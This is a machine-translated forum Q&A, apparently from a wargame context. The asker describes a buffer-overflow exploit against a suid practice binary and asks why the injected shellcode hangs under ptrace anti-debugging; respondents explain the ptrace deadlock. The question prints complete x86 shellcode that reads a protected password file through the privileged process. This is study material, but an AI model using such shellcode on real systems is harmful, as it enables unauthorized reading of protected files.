2016-05-29 13 views
1

Ich versuche aus Spaß einen Code auszunutzen, der ptrace verwendet, um das Debuggen zu verhindern.
Diese ausführbare Datei ist suid, daher ist es nicht sinnvoll, sie zu knacken. Es hat auch die Stack-Segment ausführbar. Diese ausführbare Datei wurde zum Abspielen erstellt.
Nachdem ich mir selbst eine Schwachstelle darin gefunden habe, habe ich versucht es mit Pufferüberlauf zu tun. Ich habe einen Shellcode geschrieben, der eine Shell startet, und mit meiner Überraschung hängt es. (BASH meldet, dass der Prozess gestoppt wurde)
Nach einigen Tests endete ich mit der Schlussfolgerung, dass ptrace nicht nur das Debugging verhindert, sondern auch verhindert, dass mein Shellcode ausgeführt wird.
Als ich über ptrace gelesen habe, habe ich festgestellt, dass ein Prozess, der ptrace(PTRACE_TRACEME,0,1,0) aufruft, beendet wird, sobald er den syscall exec aufruft. Also habe ich die Strategie geändert, da ptrace den Prozess stoppt, sobald es eine ausführbare Datei startet, habe ich einen Shellcode ausprobiert, der eine Datei liest. Mein Ziel ist nicht, eine Shell zu starten, sondern stattdessen eine Datei zu lesen, für die mein Benutzer keine Erlaubnis hat. Endlich hat dieser Code auch gehangen.

Kann mir jemand erklären, warum mein Code, obwohl er keinen Exec Call enthält, er gehängt wird?
Gibt es eine Möglichkeit, das Ptrace innerhalb des Prozesses selbst zu stoppen?
In meinem Fall, ptraced Prozess haben keine Eltern, und es läuft mit höheren Privilegien, verursachen die suid, wie kann es kontrolliert werden?PTRACE_TRACEME ohne Eltern

Hier mein Code, der keine exec enthalten sollte.

Hier ist mein Shell-Code:

0: 31 c0     xor eax,eax 
2: 31 db     xor ebx,ebx 
4: 31 c9     xor ecx,ecx 
6: 31 d2     xor edx,edx 
8: eb 38     jmp 0x42 
a: 5b      pop ebx 
b: c6 43 13 01    mov BYTE PTR [ebx+0x13],0x1 
f: fe 4b 13    dec BYTE PTR [ebx+0x13] 
12: b0 05     mov al,0x5 
14: 31 c9     xor ecx,ecx 
16: cd 80     int 0x80 
18: 89 c6     mov esi,eax 
1a: eb 06     jmp 0x22 
1c: b0 01     mov al,0x1 
1e: 31 db     xor ebx,ebx 
20: cd 80     int 0x80 
22: 89 f3     mov ebx,esi 
24: b0 03     mov al,0x3 
26: 83 ec 01    sub esp,0x1 
29: 89 e1     mov ecx,esp 
2b: b2 01     mov dl,0x1 
2d: cd 80     int 0x80 
2f: 31 db     xor ebx,ebx 
31: 39 c3     cmp ebx,eax 
33: 74 e7     je  0x1c 
35: b0 04     mov al,0x4 
37: b3 01     mov bl,0x1 
39: b2 01     mov dl,0x1 
3b: cd 80     int 0x80 
3d: 83 c4 01    add esp,0x1 
40: eb e0     jmp 0x22 
42: e8 c3 ff ff ff   call 0xa 
47:       db '/home/level8/passwd' 
+0

Am wahrscheinlichsten ist es abgestürzt, ABER wenn ein Prozess ptraced ist, dann sagt es beim Absturz zuerst den Tracer, aber in diesem Fall ist der Tracer der gleiche Prozess, also ist es ein Deadlock. – immibis

+0

@Alessandro: Es ist kein Kritiker oder so etwas, nur ein Ratschlag, aber diese Frage wäre besser geeignet für [RE.SE] (https://reverseengineering.stackexchange.com/) (Ich mache schamlos Werbung) für RE.SE! :)). – perror

Antwort

0

Ich glaube, Sie haben einen Kern Missverständnis, wie ptrace funktioniert.

Wenn der Prozess nach dem Aufruf von Execve stoppt, ist das eine gute Sache. Das bedeutet, dass Ihr Debugger die Möglichkeit hat, die Dinge vor und nach dem Ausführen zu ändern.

Es scheint mir, als ob Sie ptrace(PTRACE_TRACEME) in das Kind geschrieben haben, aber Sie haben keine der Eltern-Seite-Unterstützung implementiert, die Sie haben sollten. Sobald ptrace versucht, den Debugger über ein Ereignis zu informieren, wird Ihr Prozess gestoppt und nicht neu gestartet.